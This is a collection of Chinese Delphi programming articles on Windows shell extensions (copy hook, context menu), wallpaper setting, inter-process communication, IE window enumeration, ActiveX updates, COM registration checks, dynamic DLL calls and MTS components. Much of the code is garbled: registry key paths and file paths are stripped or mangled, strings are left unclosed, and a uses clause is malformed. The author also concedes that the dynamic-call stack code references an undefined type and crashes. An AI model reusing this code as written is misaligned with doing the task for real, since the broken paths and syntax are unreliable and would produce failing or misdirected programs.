sOp:=format('无法识别的操作代码 %d',[wFlags]);

end;

// 提示，让用户决定是否执行操作

Result := MessageBox(Wnd, PChar(sOp),

'文件挂钩演示', MB_YESNOCANCEL);

end;

{ TCopyHookFactory }

function TCopyHookFactory.GetProgID: string;

begin

Result := '';

end;

procedure TCopyHookFactory.UpdateRegistry(Register: Boolean);

var

ClsID: string;

begin

ClsID := GUIDToString(ClassID);

inherited UpdateRegistry(Register);

ApproveShellExtension(Register, ClsID);

if Register then

file://将clsid 加入到注册表的CopyHookHandlers中

CreateRegKey('directory + ClassName, '',

ClsID)

else

DeleteRegKey('directory + ClassName);

end;

procedure TCopyHookFactory.ApproveShellExtension(Register: Boolean;

const ClsID: string);

const

SApproveKey = 'SOFTWAREExtensions';

begin

with TRegistry.Create do

try

RootKey := HKEY_LOCAL_MACHINE;

if not OpenKey(SApproveKey, True) then Exit;

if Register then WriteString(ClsID, Description)

else DeleteValue(ClsID);

finally

Free;

end;

end;

const

CLSID_CopyHook: TGUID = '{66CD5F60-A044-11D0-A9BF-00A024E3867F}';

LIBID_CopyHook: TGUID = '{D2F531A0-0861-11D2-AE5C-74640BC10000}';

initialization

TCopyHookFactory.Create(ComServer, TCopyHook, CLSID_CopyHook,

'CR_CopyHook', '文件操作挂钩演示',ciMultiInstance, tmApartment);

end.

将文件保存为CopyMain.Pas文件，然后编译程序为CopyHook.Dll文件，然后注册CopyHook.Dll文件，你可以使用Windows提供的RegSvr32.exe来注册，注册的方法是在Dos窗口中进入Windows的System子目录，然后在其中输入Regsvr32 x:.dll ，其中x:\u26159是编译的CopyHook.dll所在的全路径名。也可以在Run菜单中选择Register ActiveX Server来注册。

当文件注册成功之后，在Windows的Explore中任意改变一个文件夹的名字或者移动一个目录，就会有一个提示框弹出，提示用户是否确定执行操作。如图所示：

按“是”将执行文件夹操作，按“否”或者“取消”将取消相应的文件夹操作。

上面介绍的只是Delphi实现Windows外壳扩展的一种，参照上面的程序和Delphi关于Windows的COM组件模型的编程，就可以编写出十分专业化的Windows外壳扩展程序。


Delphi编写含有String参数的函数应注意的问题

如果使用Delphi编写含有String参数的函数，应该注意下面的地方：

若使用DELPHI编写该函数，在使用DELPHI向导生成的DLL的主文件（.dpr）会有一段说明，当使用string类型做为参数传递时，需要在USES中加上sharemem单元来引用BORLNDMM.DLL的内存管理。


IUnknown类型的局部变量由谁负责Release

IUnknown类型的局部变量由谁负责Release

    在C++中，IUnknown是一个抽象类，它拥有三个方法：QueryInterface、AddRef和Release，而在Delphi中，这三个方法分别是QueryInterface、_AddRef和_Release，注意方法名前页的下划线。

    编制使用IUnknown类局部变量的程序时应注意，Delphi在一个模块结束之前将会自动调用_Release方法来释放所有的IUnknown局部变量，而这些代码对于程序员来说是不可见的。看下面的代码：

function TestProc:HRESULT;

var

lpDD:IDirectDraw;

begin

Result:=DirectDrawCreate(nil,lpDD,nil);

if Result<>0 then

raise Exception.Create('Failed create!');

Result:=lpDD.QueryInterface(IID_IDirectDraw2, MyDirectDraw);

lpDD._Release; // 这一行代码是多余的，将导致出错

end;

    上面的一段函数建立一个IDirectDraw2类（MyDirectDraw是一个IDirectDraw2类型的全局变量），其中最后一行的lpDD._Release是错误的，在C++中需要这么做，但在Delphi里因为有一段不可见的代码自动完成对lpDD的Release工作，所以会引起一个异常。这段不可见代码是我反汇编后观察汇编源码才得知的。


Active Desktop打开的情况下在程序中更换墙纸

http://lovejingtao2000.home.chinaren.com/wallset.htm

{如何在Win98/Win2000Active Desktop打开的情况下在程序中更换墙纸 ,本程序用了两个Button和三个Label }

unit Unit1;

interface

//By Lovejingtao.http://Lovejingtao.126.com

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,

Dialogs, StdCtrls,, ExtCtrls, ExtDlgs

ComObj,//用来创建COM对象

ShlObj;//用来检测桌面

type

TForm1 = class(TForm)

Label1: TLabel;

Label2: TLabel;

Label3: TLabel;

procedure Button1Click(Sender: TObject);

procedure Button2Click(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

end;

const

CLSID_ActiveDesktop: TGUID = '{75048700-EF1F-11D0-9888-006097DEACF9}';

var

Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.Button1Click(Sender: TObject);

var

ActiveDesktop: IActiveDesktop;

CurrentWallpaper: string;

CurrentPattern: string;

WallpaperOptions: TWallpaperOpt;

tmpBuffer: PWideChar;

begin

///// 创建 COM 对象////////////////////////////////////////////////////////

ActiveDesktop := CreateComObject(CLSID_ActiveDesktop) as IActiveDesktop;

/////////////////////检查图像名称/////////////////////////////////////////

tmpBuffer := AllocMem(MAX_PATH*2);

try

ActiveDesktop.GetWallpaper(tmpBuffer, MAX_PATH*2, 0);

CurrentWallpaper := tmpBuffer;

finally

FreeMem(tmpBuffer);

end;

if CurrentWallpaper <> '' then

Label1.Caption := '当前桌面图像: ' + CurrentWallpaper

else

Label1.Caption := '没有设置桌面图片';

///////////检查图像显示方式//////////////////////////////////

WallpaperOptions.dwSize := SizeOf(WallpaperOptions);

ActiveDesktop.GetWallpaperOptions(WallpaperOptions, 0);

case WallpaperOptions.dwStyle of

WPSTYLE_CENTER: Label2.Caption := '图像显示方式:居中';

WPSTYLE_TILE: Label2.Caption := '图像显示方式:平铺';

WPSTYLE_STRETCH: Label2.Caption := '图像显示方式:拉伸';

WPSTYLE_MAX: Label2.Caption := '图像显示方式:最大化';

end;

///////////////检查图案设置//////////////////////////////////

tmpBuffer := AllocMem(256);

try

ActiveDesktop.GetPattern(tmpBuffer, 256, 0);

CurrentPattern := tmpBuffer;

finally

FreeMem(tmpBuffer);

end;

if CurrentPattern <> '' then

Label3.Caption := CurrentPattern

else

Label3.Caption := '图案设置:没有设置图案';

////////////////////////////////////////////////////////////

end;

procedure TForm1.Button2Click(Sender: TObject);

var

ActiveDesktop: IActiveDesktop;

begin

if Not FileExists('C:.bmp') then

begin

Application.MessageBox('C:.bmp不存在!','请检查文件',MB_ICONINFORMATION+MB_OK);

Exit;

end;

ActiveDesktop := CreateComObject(CLSID_ActiveDesktop) as IActiveDesktop;

ActiveDesktop.SetWallpaper('C:.bmp', 0);

ActiveDesktop.ApplyChanges(AD_APPLY_ALL or AD_APPLY_FORCE);

end;

end.


定制WINDOWS的鼠标右键弹出菜单

在Windows中，用鼠标右键单击文件或者文件夹时弹出的那个菜单便称为上下文相关菜单。要动态地在上下文相关菜单中增添菜单项，可以通过写Context Menu Handler来实现。比如大家所熟悉的WinZip和UltraEdit等软件都是通过编写Context Menu Handler来动态地向菜单中增添菜单项的。如果系统中安装了WinZip，那么当用右键单击一个名为abc的文件（夹）时，其上下文相关菜单就会有一个名为Add to abc.zip的菜单项。本文要实现的Context Menu Handler与WinZip提供的上下文菜单相似，它将在任意类型文件的上下文菜单中增加一个名为“用写字板打开XXX”（其中XXX为当前选定的文件名称）的菜单项，只要你选择该菜单项，Windows就会启动写字板并打开当前所选的文件

    编写Context Menu Handler必须实现IShellExtInit和IContextMenu两个接口。除了IUnknown接口所定义的函数之外，Context Menu Handler还需要用到QueryContextMenu、InvokeCommand和GetCommandString这三个非常重要的成员函数。

    (1)QueryContextMenu函数：每当系统要显示一个文件对象的上下文相关菜单时，它首先要调用该函数。为了在上下文相关菜单中添加菜单项，我们在该函数中调用InsertMenu函数。

    (2)InvokeCommand函数：当用户选定了某个Context Menu Handler登记过的菜单项后，该函数将会被调用，系统将会传给该函数一个指向LPCMINVOKECOMMANDINFO结构的指针。在该函数中要执行与所选菜单项相对应的操作。

    (3)GetCommandString函数：当鼠标指针移到一个上下文相关菜单项上时，在当前窗口的状态条上将会出现与该菜单项相关的帮助信息，此信息就是系统通过调用该函数获取的。

    具体编写方法请参阅网上的程序实例，网址为www.pccomputing.com.cn。

    3．增添上下文相关菜单项说明

    如果要静态地为目录或者某一类文件增添上下文相关菜单项，那么就用不着编写Context Menu Handler，可以通过直接修改Windows注册表来达到此目的。比如，可以将下面的内容存成一个扩展名为.REG的文件，然后双击它将其导入注册表，你会发现所有类型文件的上下文相关菜单中都多了一个名叫“记事本”的菜单项。

    REGEDIT4

    [HKEY_CLASSES_ROOT\u35760记事本]

    [HKEY_CLASSES_ROOT\u35760记事本]

    @="notepad.exe"%1""

    通过比较，很容易发现这两种方式所得结果的差异。通过直接修改注册表来增添菜单项的确比较简单，然而它不具有交互性，所增添的菜单项是静态的，并且所能实现的功能也非常有限。但是Context Menu Handler则不同，它使我们可以根据上下文的具体情况动态地添加菜单项，比如可以判断当前选定的是哪一类文件、是不是文件夹、选定的文件（夹）的个数以及获取被选定文件（夹）的属性。有时，这些信息对于程序很有用，如果需要得到此类信息，并且需要根据不同的上下文来执行不同的操作，那么只好依靠Context Menu Hander来实现。本文的实例中，其动态性体现在仅当用户选定了一个文件时，才会在上下文相关菜单中增添菜单项，并且菜单项的名字随着所选文件名的不同而相应地变化。


用Delphi实现程序间的数据传递

在实际应用中，我们经常需要多个程序相互配合来完成某些特定功能。例如两个应用程序间的同步、互斥；应用程序在起第二份实例时的参数自动传递…。要实现这些功能，就必须能实现程序间的数据传递。

有些特殊的高级技术可在不同的程序间传递数据，如剪贴板、动态数据交换以及 OLE自动化，但有条件限制并且相对较复杂。这里，我介绍三种有效的底层技术，希望对编程爱好者有所帮助。

利用 WM_COPYDATA消息

使用该消息涉及一个 TcopyDataStruct结构类型的指针。该结构中有三个成员：

dwData 是一个 32位的附加参数

cbData 表示要传递的数据区的大小

lpData 表示要传递的数据区的指针

下面举个例子。该例子由两个程序构成，分别为 SendData和 GetData。

SendData程序向 GetData程序发送消息，并传递 edit1中的字符串； GetData在收到消息后，把 SendData发送的字符串接受下来，并显示在相应的 edit1中。

SendData程序：

……

var

Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.Button1Click(Sender: TObject);

var

ds: TCopyDataStruct;

hd: THandle;

begin

ds.cbData := Length (Edit1.Text) + 1;

GetMem (ds.lpData, ds.cbData ); //为传递的数据区分配内存

StrCopy (ds.lpData, PChar (Edit1.Text));

Hd := FindWindow (nil, 'Form2'); // 获得接受窗口的句柄

if Hd <> 0 then

SendMessage (Hd, WM_COPYDATA, Handle,

Cardinal(@ds)) // 发送 WM_COPYDATA消息

else

ShowMessage ('目标窗口没找到！ ');

FreeMem (ds.lpData); //释放资源

end;

GetData程序：

TForm2 = class(TForm)

Edit1: TEdit;

private

{ Private declarations }

public

procedure Mymessage(var t:TWmCopyData);message WM_COPYDATA;

{ Public declarations }

end;

var

Form2: TForm2;

implementation

procedure TForm2.Mymessage(var t:TWmCopyData);

begin

Edit1.text:=StrPas(t.CopyDataStruct^.lpData);//接受数据并显示。

end;

使用这种方法是 WIN32应用程序进行交互的最简单的方法。

使用全局原子

Win32系统中，为了实现信息共享，系统维护了一张全局原子表。每个原子中存放了一些共享数据。关于对原子的操作，有一组专门的 API函数：

GlobalAddAtom 在表中增加全局原子

GlobalDeleteAtom 在表中删除全局原子

GlobalFindAtom 在表中搜索全局原子

GlobalGetAtomName 从表中获取全局原子

笔者用这种方法实现了避免程序二次启动，但把第二次启动所带的参数传到第一个实例中以进行相应的处理的程序。基本处理如下：

在工程文件中：

program Pvdde;

uses

Forms,shellapi,Windows,dialogs,dde in 'dde.pas' {Form1};

{$R *.RES}

begin

if GlobalFindAtom(PChar('PDDE_IS_RUNNING')) = 0 then

//避免二次启动

begin

K:=GlobalAddAtom(PChar('PDDE_IS_RUNNING'));

Application.Initialize;

Application.CreateForm(TForm1, Form1);

Application.Run;

end

else

begin

//传递二次启动时的参数到第一个实例

H := FindWindow(PChar('TForm1'), PChar('资料保密 严禁外传 '));

if ParamCount > 0 then

begin

L := GlobalAddAtom(PChar(ParamStr(1)));

if H<>0 then

SendMessage(H, WM_MYMESSAGE, 0, L);

{ 传递原子句柄 }

GlobalDeleteAtom(L); { 使用后释放 }

end;

Application.Terminate;

end;

end.

在相应的窗口单元 dde.pas增加对自定义消息 WM_MYMESSAGE的处理：

procedure TForm1.MyMessage(var T:TMessage);

{对 WM_MYMESSAGE消息进行处理 }

var

P:Array [0..255] of char;

begin

GlobalGetAtomName(T.LParam, P,255); { 接受数据到 p数组中 }

。。。

end;

使用存储映象文件

这种方法相对较复杂一些。

当 Win95与 Winows Nt向内存中装载文件时，使用了特殊的全局内存区。在该区域内，应用程序的虚拟内存地址和文件中的相应位置一一对应。由于所有进程共享了一个用于存储映象文件的全局内存区域，因而当两个进程装载相同模块（应用程序或 DLL文件）时，它们实际可以在内存中共享其执行代码。

笔者通过调用一个带有特殊参数的 CreateFileMapping函数，来间接达到程序间共享内存的目的。下面简要解释一下该函数。

HANDLE CreateFileMapping(

HANDLE hFile, //文件句柄

LPSECURITY_ATTRIBUTES lpFileMappingAttributes, // 可选安全属性

DWORD flProtect, // 映象文件保护方式

DWORD dwMaximumSizeHigh, // 映象文件区域的底值

DWORD dwMaximumSizeLow, // 映象文件区域的顶值

LPCTSTR lpName // 映象文件的名字

);

如果 hFile是 0xFFFFFFFF，在调用程序中必须指定 dwMaximumSizeHigh 和 dwMaximumSizeLow参数的值以确定映象文件的大小。通过这样的参数指定，该函数就创建了一个由操作系统页文件支持的特殊逻辑映象文件，而不是由实际操作系统的文件支持的逻辑映象文件。这个逻辑映象文件可以通过复制、继承或者按名字来达到共享。至于其它参数的详细说明，请参看在线帮助。

在建立了映象文件之后，我们可以通过调用另外一个 API函数 MapViewOfFile来访问它的内存，该函数会返回一个指向共享内存块的特定指针。

LPVOID MapViewOfFile(

HANDLE hFileMappingObject, // 映象文件句柄

DWORD dwDesiredAccess, // 访问方式

DWORD dwFileOffsetHigh, // 映象文件区域的底值

DWORD dwFileOffsetLow, // 映象文件区域的顶值

DWORD dwNumberOfBytesToMap // 映射字节数

);

如果 dwNumberOfBytesToMap 是 0，映射整个文件。

以下举例说明：

private

hMapFile: THandle;

MapFilePointer: Pointer;

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);

begin

hMapFile := CreateFileMapping (

$FFFFFFFF, // 特殊内存映射句柄

nil, page_ReadWrite, 0,10000,

'DdhDemoMappedFile'); // 文件名

if hMapFile <> 0 then

MapFilePointer := MapViewOfFile (

hMapFile, // 上面映象文件的句柄

File_Map_All_Access,

0, 0, 0) // 访问整个映象文件

else

ShowMessage ('hMapFile = 0');

if MapFilePointer = nil then

ShowMessage ('MapFilePointer = nil');

end;

procedure TForm1.BtnWriteClick(Sender: TObject);

begin

StrCopy (PChar (MapFilePointer),

PChar (EditWrite.Text));//把内容写入共享内存

end;

procedure TForm1.BtnReadClick(Sender: TObject);

var

S: string;

begin

S := PChar (MapFilePointer);//从共享内存读出内容

EditRead.Text := S;

end;

用这种方法，不但可以在不同的程序之间共享数据，还可以在同一程序的不同实例间共享数据。为了及时通知其它进程共享数据的变化，可以自定义一条用户消息，通过发消息来实现，这里不再赘述。

利用以上三种方法均可以有效地实现数据传递、共享，所有的例子程序均在 Delphi 3.0,4.0下调试通过。如需源码，写信至 wj_email@yahoo.com索


IShellWindow

uses shdocvw;

procedure TForm1.Button1Click(Sender: TObject);

var

xwin:IShellWindows;

xweb:iWebbrowser;

i:integer;

begin

xWin:=CoShellWindows.Create;

for i:=0 to xWin.Count-1 do begin

xWeb:=xWin.Item(i) as IWebbrowser;

ListBox1.Items.Add(xWeb.LocationURL);

end;

end;

********************************

var

ShellWindow: IShellWindows;

nCount: integer;

spDisp: IDispatch;

i,j: integer;

vi: OleVariant;

IE1: IWebBrowser2;

IDoc1: IHTMLDocument2;

begin

ShellWindow := CoShellWindows.Create;

nCount := ShellWindow.Count;

for i := 0 to nCount - 1 do

begin

vi := i;

spDisp := ShellWindow.Item(vi);

if spDisp = nil then continue;

spDisp.QueryInterface( iWebBrowser2, IE1 );

if IE1 <> nil then

begin

IE1.Document.QueryInterface(IHTMLDocument2,iDoc1);

if iDoc1 <> nil then

ie1.Quit

end;

end;

end;

或者 if IE1 <> nil then ie1.quit ，但者可能会把资源管理器的窗口也关了


ActiveX的自动更新问题

小弟我作的Activform在服务器上发布后,其他人通过IE下载程序后,如果Activform被更新了,

发现其他已经下载老版本程序的人无法浏览到我的新Activform?????

：热水, 时间：2001-5-30 13:13:46, ID：547042

解决方法：

1、在delphi中发布ActiveForm时，在“Web deployment options”选中"Auto increment release number"

复选框

2、打开主页<object ...........object/>晨的"classID=........... version=..."

部分更新新的*.ocx的版本号，具本可以在生成的*.ocx配套的.html里查到。

实际上，只有把其 Version的版本号改成与原来不一样，客户端的浏览器自动会进行版本号比较

从而下载。


判断一个COM接口是否注册

Borland news: Nick Hodges - TeamB

function ClassIsRegistered(const clsid: TCLSID): Boolean;

var

OleStr: POleStr;

Reg: TRegInifile;

Key, Filename: String;

begin

// First, check to see if there is a ProgID. This will tell if the

// control is registered on the machine. No ProgID, control won't

run

Result := ProgIDFromCLSID(clsid, OleStr) = S_OK;

if not Result then Exit; ///Bail as soon as anything goes wrong.

// Next, make sure that the file is actually there by rooting it out

// of the registry

Key := Format('\SOFTWARE\Classes\CLSID\%s', [GUIDToString(clsid)]);

Reg := TRegInifile.Create;

try

Reg.RootKey := HKEY_LOCAL_MACHINE;

Result := Reg.OpenKeyReadOnly(Key);

if not Result then Exit; // Bail as soon as anything goes wrong.

FileName := Reg.ReadString('InProcServer32', '', EmptyStr);

if (Filename = EmptyStr) then // try another key for the file name

begin

FileName := Reg.ReadString('InProcServer', '', EmptyStr);

end;

Result := Filename <> EmptyStr;

if not Result then Exit;

Result := FileExists(Filename);

finally

Reg.Free;

end;

end;


根据文件给出的函数声明动态调用一个函数

在已知函数名称和参数的情况下，静态调用和动态调用一个函数都是很简单的，但是如果我不知道这个函数的参数（编译的时候），但是在运行的时候，可以给出一个函数的声明到一个文件里面，那么这个时候如何去调用这个函数呢？

///Kingron测试的时候，发现用下面的方法可以做到，但是其中有一个PtrRec没有定义，而且会出现非法操作~~~~~~：（，不过你可以用简单的语句来测试：

asm

push 100; ///Push进去的参数值和个数可以动态改变的

push 200;

call windows.beep; /// Call可以调用一个指针，因此也是可以动态改变的

end;

就是这个动态的改变需要用汇编来做，很麻烦~~~~~~~~~：（，因为必须判断参数个数和类型，之于调用那个函数倒是很简单

一般来说，凡是编译型的语言很难做到这一点，不过可以采取特殊的方法来做到它。用Delphi也可以做到，但是需要用到汇编代码。

当然，主要的问题是如何调用那些参数，至于函数名称和从DLL中读取都是很简单的事情，用LoadLibrary和GetProcAddress就可以做到了，在此不予讨论。只要解决了参数的个数和传递的问题，那么我们的问题就解决了，我们知道，函数的参数实际上都是一个堆栈来管理的，在调用函数之前，把参数压栈，然后Call那个函数即可，因此，明白了这个道理，那么我们就可以用一个自己创建的堆栈来进行模拟~~~~~~~~~

首先我们需要一个堆栈类，用于管理函数的参数：

Type

TStack= Class

private

FPtr: Pointer;

FSize: Word;

FStackTop: Pointer;

FUsed: Word;

Function GetFree: Word;

public

Constructor Create( size: Word );

Destructor Destroy; override;

Procedure Push( Var data; datasize: Word );

Property StackTop: Pointer read FStackTop;

Property Free: Word read GetFree;

Property Used: Word read FUsed

end;

{ Methods of TStack }

Function TStack.GetFree: Word;

Begin

Result := FSize - FUsed;

End; { TStack.GetFree }

Constructor TStack.Create( size: Word );

Begin

inherited Create;

FSize := size;

GetMem( FPtr, size );

FStackTop := FPtr;

Inc( PtrRec( FStackTop ).ofs, size );

End; { TStack.Create }

Destructor TStack.Destroy;

Begin

FreeMem( FPtr, size );

End; { TStack.Destroy }

Procedure TStack.Push( Var data; datasize: Word );

Begin

If Free >= datasize Then Begin

Dec( PtrRec( FStackTop ).ofs, datasize );

Move( data, FStackTop^, datasize );

Inc( FUsed, datasize );

End { If }

Else

raise Exception.Create( 'Stack full!' );

End; { TStack.Push }

接下来我们必须创建一个堆栈类的实例，然后把那些参数压栈，最后调用函数即可，那么调用的代码可能类似下面的：

Var

Stack: TStack;

size : Word;

Top : Pointer;

Begin

..create stack and fill it

size := Stack.Used;

Top := Stack.StackTop;

asm

mov cx, size

jcxz @noParams

mov ax, ss

mov es, ax

sub sp, cx

mov di, sp

push ds

lds si, Top

cld

rep movsb

pop ds

@noParams:

call DLLProc

{ add sp, size only if DLLProc is cdecl and size <> 0! }

end;

end;

One caveat: TStack.Push should raise an exception if you try to push data with an odd datasize; the CPU stack uses WORD as the smallest unit so only data with an even datasize can be pushed; odd size items like Char and Byte have to be extended to Words first!


MTS

MTS

简述

·MTS是一种中间层COM组件宿主环境

·中间层组件应当是无状态的

·依靠无状态模式，MTS可以缓冲资源，在客户端之间共享组件

·COM和MTS组合起来，进化成为COM+

·利用类和向导，Delphi简化了MTS组件的创建

·从ActiveX类库入手--MTS组件必须是进程内组件

·创建MTS对象，选择线程模型和交易控制

·在类型库编辑器中定义对象接口

·调用SetComplete和SetAbort，告知MTS何时结束方法

·使用ObjectContext.CreateInstance在同一个事务中创建其它MTS组件

·使用OnActivate和OnDeactivate初始化和清除对象

·把组件安装到MTS包，并在正式使用之前测试

·最后，配置安全设置

    介绍

    本文将说明如何创建NT4的MTS组件和Windows2000的COM+组件。首先我想解释MTS是什么，还有一些关于它的理论。然后描述如何建立MTS组件，包括关于如何减少错误发生率的窍门。要提及的问题包括错误处理、调试、安全配置和安装等。

    我将用Delphi来实现一个简单的COM数据库组件--用ADO连结ACCESS数据库。

    什么是MTS

    MTS--Microsoft Transaction Server（微软事务服务器）远不止于一个事务服务器那么简单。它是一个COM组件的宿主环境：·管理系统资源（比如：进程、线程、连接等等）；·管理服务器对象的创建、执行和删除；·自动初始化和控制事务·进行安全管理，防止未经授权用户存取应用程序；·提供工具，用于配置、管理、发布应用程序的组件

    关键的方便之处在于，开发者可以不去考虑中间层程序的多个方面，让他们集中于业务逻辑的实现。

    原理

    MTS是如何运作的呢？

    它为分布式系统构建一个中间层，包容COM组件。在一个典型的系统中（图一），它将：

图一一个MTS应用程序

·从数据库取得数据；·传送到（瘦）客户端应用程序；·从客户端接收反馈数据；·实现业务逻辑操作；·保存到数据库。

    考察客户端应用程序操作。大多数时候它们在等待用户输入。所以，如果每个客户端程序都在中间层拥有一个单独的组件和数据库连接，多数时候这些资源被浪费了。

    MTS要做的，就是通过共享资源来彻底减少组件数量和数据库连接。在小系统中这无足轻重，但是在大系统（微软建议超过100个客户端）中，就大大不同了。

    什么是组件

    上文提到组件。什么是组件？这里所说的组件，不是在面向对象分析意义上的组件。

    一个典型的对象拥有方法和属性。试考察一个安装到中间层的对象，如果我们想通过它获取客户姓名、地址和电话号码，那么，就要调用某个方法、传递客户信息参数、获取姓名属性，然后是地址，最后才轮到电话号码。每个请求都需要一个网络周期，一共四个周期--非常缓慢、缺乏效率。

    实践上，一般只调用一个方法，返回所有需要的数据。尽管有些查询结果是多余的，但是性能却提高了。

    使用单个方法调用还有另外一个好处，也就是MTS所利用的好处。在通常使用的"对象模型"中，对象总是要保存数据以供查询。这就意味着只能为一个客户端服务。假如一次性返回所有数据，对象就无需保存任何信息--进入无状态模式。这时，对象就能为其它客户端服务。这就是MTS的核心了。

    这样，业务对象变成了代码库，美其名曰--组件。

资源管理

    实际上，当组件完成一个方法调用时，MTS就毁掉它。听起来有些疯狂。组件每次都要重新创建，包括线程、数据库连接等等资源都是如此。特别是后者更加令人费解，因为数据库连接的创建成本高昂。为了节约成本，MTS缓存了很多资源。当一个新组建要求连接数据库，MTS就提供一个现存的连接。组件完成工作后，MTS把连接取回，而不是关闭它。运行组件的线程也用这样的方式被缓存。

    所以，重复创建和毁坏组件的成本就这样减低了。如果客户端连接数量足够多，资源节省完全足以抵消成本。数据库负载也减轻了。

    了解MTS创建和释放组件、以及缓存支持资源的方式，是创建高效MTS组件的关键。

    注意：数据库连接能否被缓存，取决于数据库引擎是否支持。

    COM+

    MTS在Microsoft NT4上运行。对于Windows 2000，微软把MTS整合进COM架构，构建了COM+.COM+包括MTS所有特性，还有额外的支持。MTS包在Windows 2000中变成了COM+应用程序。但是，要在MTS在Windows 2000上运行，无需做任何修改。本文将不做区分。

    COM+的新特性之一是组件和数据库连接都可以被缓存。这将带来明显的性能提高。

    上下文（Context）

    理论讲得差不多了。在被请求的时候，MTS组件被动态创建和释放，这称作即时活动。组件需要的资源被缓存，并为所有组件共享。

    在开始用Delphi创建MTS组件之前，必须理解一个关于MTS运作的细节。

    当客户端创建COM对象，它会收到一个指向被创建对象的接口。对象被释放后，这个接口不再合法，对它的方法调用就会失败。MTS要做点什么来避免发生这种情况。同时，它还要保存一些客户端状态信息，像安全配置和事务信息等等。

    于是就引入了context（上下文）对象。我觉得可以不是那么准确地把它看作是MTS组件的替身，使得客户端接口始终保持合法性。如图二所示。

图二MTS Context对象

    客户端初次创建MTS组件的时候，同时也创建了context对象。在客户端保留组件接口的时候，这个context组件一直存在。当客户端发出调用方法请求时，context对象就创建组件、运行方法、然后释放组件。Context对象的实际运作相当复杂，不过原理就是如此。

    看起来好像为每个客户端保留一个context对象违背了即时活动减低资源消耗的初衷。其实，context对象非常小，给MTS服务器带来的负荷，远比真正的MTS组件来得小。

在Delphi中创建MTS组件

为了保证上述操作的正确性，所有创建的MTS组件都要通过context对象与MTS联系。而它本身也是一个通过接口存取的COM对象。

Delphi中有一系列的类和向导，可以让我们不必考虑这些问题。我们可以从Delphi中继承的基类（TmtsAutoObject和TmtsDataModule）已经封装了和context对象的协调工作，而我们只需要调用继承的方法就万事大吉。这两个类也实现了IobjectControl接口，MTS用这个接口来控制组件。

第一步，要决定COM组件是进程内还是进程外服务器。如果是MTS则没得选--必须是进程内服务器。所以，首先要创建一个ActiveX Library。这样做：从File|New对话框的ActiveX页选取ActiveX Library。

图三 选取ActiveX Library

然后创建一个MTS组件。有两种选择：要么是MTS Object，要么是MTS Data Module，它们都在Multitier页。由于MTS Data Module主要用来创建MTS MIDAS应用程序，所以我们用MTS Object。

图四 选取MTS Object，进入MTS Object向导

图五 MTS Object向导

我们需要定义COM对象的CoClass名称和线程模型。MTS中，一般用Apartment线程模型。在COM+里，也可以用Apartment，但是不支持组件pooling（缓存）。我们可以用Both来达到这个目的。Both线程模型将创建多线程（Multi Threaded）Apartment COM对象，同时也支持单线程（Single Threaded）Apartment。STA和MTA之间的区别，超出了本文讨论范围，按下不表。

在这里可以指定事务模型，或者在组件安装到MTS中再改变也可以。事务模型确定MTS是否在每次方法调用时为组件创建一个事务控制。稍后我们再讨论这个问题。

通常来说，如果组件需要更新数据库，那就选择"Requires a transaction（需要事务处理）"，否则选择"Supports transactions（支持事务处理）"，这样可以提高性能，因为MTS使用分布式事务处理、可以在事务中更新多个数据库。不幸的是，这样做成本负荷太高。最好是把所有的更新方法放到单独的组件中，事务只在需要的时候被创建。

Event support（事件支持）对于MTS组件一般不需要。

向导完成后，可以在类型库编辑器中创建方法。组件是无状态的，所以一般不用属性。

在本例中我将创建一个方法，称作GetData。这个方法返回一个Variant值，但实质上是一个ADO Recordset。可以在类型库编辑器的Uses页包括ADO类型库，指定返回值为Recordset。但是variant类型在本例中更简单实用。

图六 类型库编辑器--定义GetData方法

注意：如果返回类型不是数据集，Delphi 4将会引起一个异常，导致组件崩溃。最好不要用D4开发MTS组件。

编写方法

定义好方法之后，开始写代码。最重要的是要告诉MTS组件工作已经完成，让MTS释放组件或放到缓存。同样也需要告诉MTS事务是否应该提交或者回滚。如果我们省略这一步骤，MTS就会把组件看作是有状态的，资源节省就无从谈起了。

TmtsAutoObject提供了七种可调用的方法，用来和context对象打交道。

·DisableCommit 状态组件使用，超出本文范围

·EnableCommit 状态组件使用，超出本文范围

·IsCallerInRole 组件内安全检查

·IsInTransaction 检查MTS是否创建事务

·IsSecurityEnabled 检查安全查看是否活动

·SetAbort 告诉MTS组件完成工作，放弃事务

·SetComplete 告诉MTS组件完成工作，提交事务

后两个就是我们要用的了。下面提供一种通用的MTS组件方法编码结构：

function TMTSDemo1.GetData: OleVariant;

begin

try

// 在这里进行操作

SetComplete;

except

SetAbort;

Raise;

end{try/except};

end;

如果出错，MTS马上就知道，同时引发一个异常，通知客户端。

SetAbort和SetComplete的作用，就像对事务处理的结果进行投票。一个事务可以为多个组件分享。如果其中一个组件调用了SetAbort，整个事务就被回滚。在这之后，所有数据库操作均不被允许进行。所以，只在必须时调用SetAbort。如果组件试图存取数据库，就会引发一个$8004E004异常。这是在MTX单元中定义的。

因为必须确保SetAbort和SetComplete只被调用一次，而且一个方法有可能被组件内的其它方法调用，所以我通常把每个方法主要代码放在内部例程，而用一个外部例程来调用它。用一个下划线前缀表示内部例程，像这样：

function TMTSDemo1.GetData: OleVariant;

begin

try

Result := _GetData;

SetComplete;

except

SetAbort;

Raise;

end{try/except};

end;

通过这个方法，我用ADO COM对象直接取得一个关闭的数据集，返回到客户端。这是一个典型的MTS组件方法。我们需要它从客户端存取编辑的数据集，并更新数据库。

function TMTSDemo1._GetData: OleVariant;

var

Data : Recordset;

StrConnectionString : string;

Begin

{设置名为DelphiMTSDemo 的 ODBC DSN，连接到DemoData.mdb}

strConnectionString := 'DSN=DelphiMTSDemo';

Data := CoRecordset.Create;

try

Data.CursorLocation := adUseClient;

Data.Open ('SELECT * from CUSTOMERS', StrConnectionString,

adOpenKeyset, adLockBatchOptimistic, adCmdText);

// 断开数据库连接

Data.Set_ActiveConnection(nil);

Result := Data;

Finally

// 释放接口

Data := nil;

end{try/finally};

end;

因为MTS缓存了数据库连接，所以尽量不要太早打开数据库连接，而且尽早释放它，降低其它组件创建新连接的可能性。如果缓存池中没有可用连接，就会发生这种情况。

调用其它MTS组件

    MTS应用程序的设计目的之一是集中多个简单组件，创建比较复杂的系统。这种模式便于开发，可重用性也较高。那么，在组件中调用其它MTS组件要注意些什么呢？

